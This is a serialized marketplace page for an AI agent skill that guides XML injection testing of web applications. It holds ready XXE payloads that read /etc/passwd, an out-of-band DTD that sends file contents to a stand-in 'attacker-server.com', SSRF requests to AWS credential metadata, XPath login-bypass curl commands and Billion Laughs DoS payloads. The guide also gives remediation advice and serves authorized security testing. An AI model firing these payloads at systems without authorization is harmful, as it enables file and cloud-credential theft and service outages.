[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71GXGA6RGZ7FPS0B4C1BJSX":3,"skill-same:01M71GXGA6RGZ7FPS0B4C1BJSX":98},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":71,"commitSha":72,"skillDirectory":73,"forksCount":14,"repositoryHtmlUrl":74,"repositoryHomepageUrl":6,"ownerHtmlUrl":75,"ownerBlogUrl":6,"ownerDescription":76,"updatedAt":77,"install":78,"resources":91},"01M71GXGA6RGZ7FPS0B4C1BJSX","injection-xxe-xml-detect",null,"Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Finjection\u002Fxxe\u002Fxml\u002Fdetect\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"injection","injection xxe xml detect","detect","xml","xxe","data","read","test web","request","de","exposure","server","dtd-attack","entity-injection","xml-parsing","Bash","cybersecurity","xpath-injection","xml-injection","cm","2026-11-10 10:12:30",false,"---\nname: injection-xxe-xml-detect\ndescription: Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- xml-injection\n- xxe\n- xpath-injection\n- xml-parsing\n- web-security\n- entity-injection\n- dtd-attack\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1190\n- T1550\ncwe:\n- CWE-611\n- CWE-643\n- CWE-91\ncapec: []\n---\n\n# Testing for XML Injection Vulnerabilities\n\n## When to Use\n- When testing applications that process XML input (SOAP APIs, XML-RPC, file uploads)\n- During penetration testing of applications with XML parsers\n- When assessing SAML-based authentication implementations\n- When testing file import\u002Fexport functionality that handles XML formats\n- During API security testing of SOAP or XML-based web services\n\n## Prerequisites\n- Burp Suite with XML-related extensions (Content Type Converter, XXE Scanner)\n- XMLLint or similar XML validation tools\n- Understanding of XML structure, DTDs, and entity processing\n- Python 3.x with lxml and requests libraries\n- Access to an out-of-band interaction server (Burp Collaborator, interact.sh)\n- Sample XXE payloads from PayloadsAllTheThings repository\n\n## Workflow\n\n### Step 1 — Identify XML Processing Endpoints\n```bash\n# Look for endpoints accepting XML content types\n# Content-Type: application\u002Fxml, text\u002Fxml, application\u002Fsoap+xml\n# Check WSDL files for SOAP services\ncurl -s http:\u002F\u002Ftarget.com\u002Fservice?wsdl\n\n# Test if endpoint accepts XML by changing Content-Type\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\"?>\u003Croot>\u003Ctest>hello\u003C\u002Ftest>\u003C\u002Froot>'\n\n# Check for XML file upload functionality\n# Look for .xml, .svg, .xlsx, .docx file processing\n```\n\n### Step 2 — Test for Basic XXE (File Retrieval)\n```xml\n\u003C!-- Basic XXE to read local files -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Windows file retrieval -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fc:\u002Fwindows\u002Fwin.ini\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Using PHP wrapper for base64-encoded file content -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 3 — Test for Blind XXE with Out-of-Band Detection\n```xml\n\u003C!-- Out-of-band XXE using external DTD -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fattacker-server.com\u002Fxxe.dtd\">\n  %xxe;\n]>\n\u003Croot>\u003Cdata>test\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- External DTD file (xxe.dtd hosted on attacker server) -->\n\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; exfil SYSTEM 'http:\u002F\u002Fattacker-server.com\u002F?data=%file;'>\">\n%eval;\n%exfil;\n\n\u003C!-- DNS-based out-of-band detection -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Fxxe-test.burpcollaborator.net\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 4 — Test for SSRF via XXE\n```xml\n\u003C!-- Internal network scanning via XXE -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- AWS metadata endpoint access -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Internal port scanning -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Finternal-server:8080\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 5 — Test for XPath Injection\n```bash\n# Basic XPath injection in search parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or '1'='1\"\n\n# XPath authentication bypass\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=' or '1'='1&password=' or '1'='1\"\n\n# XPath data extraction\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or 1=1 or ''='\"\n\n# Blind XPath injection with boolean-based extraction\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or string-length(\u002F\u002Fuser[1]\u002Fpassword)=8 or ''='\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or substring(\u002F\u002Fuser[1]\u002Fpassword,1,1)='a' or ''='\"\n```\n\n### Step 6 — Test for XML Billion Laughs (DoS)\n```xml\n\u003C!-- Billion Laughs attack (use only in authorized testing) -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE lolz [\n  \u003C!ENTITY lol \"lol\">\n  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n]>\n\u003Croot>\u003Cdata>&lol4;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Quadratic blowup attack -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY a \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\">\n]>\n\u003Croot>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;\u003C\u002Froot>\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| XXE (XML External Entity) | Attack exploiting XML parsers that process external entity references |\n| Blind XXE | XXE where response is not reflected; requires out-of-band channels |\n| XPath Injection | Injection into XPath queries used to navigate XML documents |\n| DTD (Document Type Definition) | Declarations that define XML document structure and entities |\n| Parameter Entities | Special entities (%) used within DTDs for blind XXE exploitation |\n| SSRF via XXE | Using XXE to make server-side requests to internal resources |\n| XML Bomb | Denial of service via recursive entity expansion (Billion Laughs) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy with XXE Scanner extension for automated detection |\n| XXEinjector | Automated XXE injection and data exfiltration tool |\n| OXML_XXE | Tool for embedding XXE payloads in Office XML documents |\n| xmllint | XML validation and parsing utility for payload testing |\n| interact.sh | Out-of-band interaction server for blind XXE detection |\n| Content Type Converter | Burp extension to convert JSON requests to XML for XXE testing |\n\n## Common Scenarios\n\n1. **File Disclosure** — Read sensitive server files (\u002Fetc\u002Fpasswd, web.config) through classic XXE entity injection in XML input fields\n2. **SSRF to Cloud Metadata** — Access AWS\u002FGCP\u002FAzure metadata endpoints through XXE to steal IAM credentials and access tokens\n3. **Blind Data Exfiltration** — Extract sensitive data through out-of-band DNS\u002FHTTP channels when XXE output is not reflected\n4. **SAML XXE** — Inject XXE payloads into SAML assertions during single sign-on authentication flows\n5. **SVG File Upload XXE** — Upload malicious SVG files containing XXE payloads to trigger server-side XML parsing\n\n## Output Format\n\n```\n## XML Injection Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fxml-endpoint\n- **Vulnerability Types Found**: XXE, Blind XXE, XPath Injection\n- **Severity**: Critical\n\n### Findings\n| # | Type | Endpoint | Payload | Impact |\n|---|------|----------|---------|--------|\n| 1 | XXE File Read | POST \u002Fapi\u002Fimport | SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\" | Local File Disclosure |\n| 2 | Blind XXE | POST \u002Fapi\u002Fupload | External DTD with OOB | Data Exfiltration |\n| 3 | SSRF via XXE | POST \u002Fapi\u002Fparse | SYSTEM \"http:\u002F\u002F169.254.169.254\u002F\" | Cloud Credential Theft |\n\n### Remediation\n- Disable external entity processing in XML parser configuration\n- Use JSON instead of XML where possible\n- Implement XML schema validation with strict DTD restrictions\n- Block outbound connections from XML processing services\n```\n","# Testing for XML Injection Vulnerabilities\n\n## When to Use\n- When testing applications that process XML input (SOAP APIs, XML-RPC, file uploads)\n- During penetration testing of applications with XML parsers\n- When assessing SAML-based authentication implementations\n- When testing file import\u002Fexport functionality that handles XML formats\n- During API security testing of SOAP or XML-based web services\n\n## Prerequisites\n- Burp Suite with XML-related extensions (Content Type Converter, XXE Scanner)\n- XMLLint or similar XML validation tools\n- Understanding of XML structure, DTDs, and entity processing\n- Python 3.x with lxml and requests libraries\n- Access to an out-of-band interaction server (Burp Collaborator, interact.sh)\n- Sample XXE payloads from PayloadsAllTheThings repository\n\n## Workflow\n\n### Step 1 — Identify XML Processing Endpoints\n```bash\n# Look for endpoints accepting XML content types\n# Content-Type: application\u002Fxml, text\u002Fxml, application\u002Fsoap+xml\n# Check WSDL files for SOAP services\ncurl -s http:\u002F\u002Ftarget.com\u002Fservice?wsdl\n\n# Test if endpoint accepts XML by changing Content-Type\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\"?>\u003Croot>\u003Ctest>hello\u003C\u002Ftest>\u003C\u002Froot>'\n\n# Check for XML file upload functionality\n# Look for .xml, .svg, .xlsx, .docx file processing\n```\n\n### Step 2 — Test for Basic XXE (File Retrieval)\n```xml\n\u003C!-- Basic XXE to read local files -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Windows file retrieval -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fc:\u002Fwindows\u002Fwin.ini\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Using PHP wrapper for base64-encoded file content -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 3 — Test for Blind XXE with Out-of-Band Detection\n```xml\n\u003C!-- Out-of-band XXE using external DTD -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fattacker-server.com\u002Fxxe.dtd\">\n  %xxe;\n]>\n\u003Croot>\u003Cdata>test\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- External DTD file (xxe.dtd hosted on attacker server) -->\n\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; exfil SYSTEM 'http:\u002F\u002Fattacker-server.com\u002F?data=%file;'>\">\n%eval;\n%exfil;\n\n\u003C!-- DNS-based out-of-band detection -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Fxxe-test.burpcollaborator.net\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 4 — Test for SSRF via XXE\n```xml\n\u003C!-- Internal network scanning via XXE -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- AWS metadata endpoint access -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Internal port scanning -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Finternal-server:8080\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 5 — Test for XPath Injection\n```bash\n# Basic XPath injection in search parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or '1'='1\"\n\n# XPath authentication bypass\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=' or '1'='1&password=' or '1'='1\"\n\n# XPath data extraction\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or 1=1 or ''='\"\n\n# Blind XPath injection with boolean-based extraction\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or string-length(\u002F\u002Fuser[1]\u002Fpassword)=8 or ''='\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or substring(\u002F\u002Fuser[1]\u002Fpassword,1,1)='a' or ''='\"\n```\n\n### Step 6 — Test for XML Billion Laughs (DoS)\n```xml\n\u003C!-- Billion Laughs attack (use only in authorized testing) -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE lolz [\n  \u003C!ENTITY lol \"lol\">\n  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n]>\n\u003Croot>\u003Cdata>&lol4;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Quadratic blowup attack -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY a \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\">\n]>\n\u003Croot>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;\u003C\u002Froot>\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| XXE (XML External Entity) | Attack exploiting XML parsers that process external entity references |\n| Blind XXE | XXE where response is not reflected; requires out-of-band channels |\n| XPath Injection | Injection into XPath queries used to navigate XML documents |\n| DTD (Document Type Definition) | Declarations that define XML document structure and entities |\n| Parameter Entities | Special entities (%) used within DTDs for blind XXE exploitation |\n| SSRF via XXE | Using XXE to make server-side requests to internal resources |\n| XML Bomb | Denial of service via recursive entity expansion (Billion Laughs) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy with XXE Scanner extension for automated detection |\n| XXEinjector | Automated XXE injection and data exfiltration tool |\n| OXML_XXE | Tool for embedding XXE payloads in Office XML documents |\n| xmllint | XML validation and parsing utility for payload testing |\n| interact.sh | Out-of-band interaction server for blind XXE detection |\n| Content Type Converter | Burp extension to convert JSON requests to XML for XXE testing |\n\n## Common Scenarios\n\n1. **File Disclosure** — Read sensitive server files (\u002Fetc\u002Fpasswd, web.config) through classic XXE entity injection in XML input fields\n2. **SSRF to Cloud Metadata** — Access AWS\u002FGCP\u002FAzure metadata endpoints through XXE to steal IAM credentials and access tokens\n3. **Blind Data Exfiltration** — Extract sensitive data through out-of-band DNS\u002FHTTP channels when XXE output is not reflected\n4. **SAML XXE** — Inject XXE payloads into SAML assertions during single sign-on authentication flows\n5. **SVG File Upload XXE** — Upload malicious SVG files containing XXE payloads to trigger server-side XML parsing\n\n## Output Format\n\n```\n## XML Injection Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fxml-endpoint\n- **Vulnerability Types Found**: XXE, Blind XXE, XPath Injection\n- **Severity**: Critical\n\n### Findings\n| # | Type | Endpoint | Payload | Impact |\n|---|------|----------|---------|--------|\n| 1 | XXE File Read | POST \u002Fapi\u002Fimport | SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\" | Local File Disclosure |\n| 2 | Blind XXE | POST \u002Fapi\u002Fupload | External DTD with OOB | Data Exfiltration |\n| 3 | SSRF via XXE | POST \u002Fapi\u002Fparse | SYSTEM \"http:\u002F\u002F169.254.169.254\u002F\" | Cloud Credential Theft |\n\n### Remediation\n- Disable external entity processing in XML parser configuration\n- Use JSON instead of XML where possible\n- Implement XML schema validation with strict DTD restrictions\n- Block outbound connections from XML processing services\n```\n",{"cwe":49,"name":5,"tags":53,"capec":55,"model":56,"tools":57,"domain":40,"maxTurns":61,"nist_csf":62,"subdomain":67,"description":7,"mitre_attack":68},[50,51,52],"CWE-611","CWE-643","CWE-91",[42,28,41,38,54,37,36],"web-security",[],"sonnet",[58,39,59,60],"Read","Glob","Grep",20,[63,64,65,66],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[69,70],"T1190","T1550","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fweb-application\u002Finjection\u002Fxxe\u002Fxml\u002Fdetect","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":79,"prompt":89,"zipAvailable":90},[80,83,86],{"tool":81,"command":82},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill injection-xxe-xml-detect",{"tool":84,"command":85},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill injection-xxe-xml-detect",{"tool":87,"command":88},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill injection-xxe-xml-detect","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Finjection\u002Fxxe\u002Fxml\u002Fdetect\u002FSKILL.md",true,[92],{"path":93,"resourceType":94,"resourceTypeDesc":95,"sizeBytes":96,"sourceHtmlUrl":97},"index.json","REFERENCE","参考文档",678,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Finjection\u002Fxxe\u002Fxml\u002Fdetect\u002Findex.json",[99,121,142,163,185,200],{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":44},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[106,26,107,108,109,33,43,110,111,112,113,114,115,116,117,118,119,40,120],"services","services wmi persistence detect","wmi","persistence","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":125,"categories":126,"keywords":127,"publishedAt":44},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[128,106,129,108,130,131,132,40,39,133,134,135,136,137,33,138,139,30,140,141],"exploit","services wmi exec exploit","exec","remote","traffic","analysis","team","across","crackmapexec","native","command","lateral movement","lateral-movement","Impacket",{"skillNo":143,"name":144,"nameZh":6,"description":145,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":146,"categories":147,"keywords":148,"publishedAt":44},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[149,150,151,152,153,154,40,39,155,133,156,157,33,30,158,159,160,161,162,56],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","analyze","uncover","software","activity","digital-forensics","windows-registry","regripper",{"skillNo":164,"name":165,"nameZh":6,"description":166,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":167,"categories":168,"keywords":169,"publishedAt":44},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[26,170,171,172,173,174,175,43,176,40,120,177,178,179,180,181,182,183,184,33],"processes token impersonate detect","token","processes","attacks","windows","escalation","techniques","privilege-escalation","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":186,"name":187,"nameZh":6,"description":188,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":189,"categories":190,"keywords":191,"publishedAt":44},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[192,193,26,24,172,174,194,43,195,176,40,120,133,196,197,198,199,184,33,110],"thread","processes thread injection detect","memory","process-injection","api","apc-injection","thread-injection","nt-api",{"skillNo":201,"name":202,"nameZh":6,"description":203,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":204,"categories":205,"keywords":206,"publishedAt":44},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[207,26,172,208,194,43,209,210,40,120,211,212,213,214,215,216,33,110,217,218],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]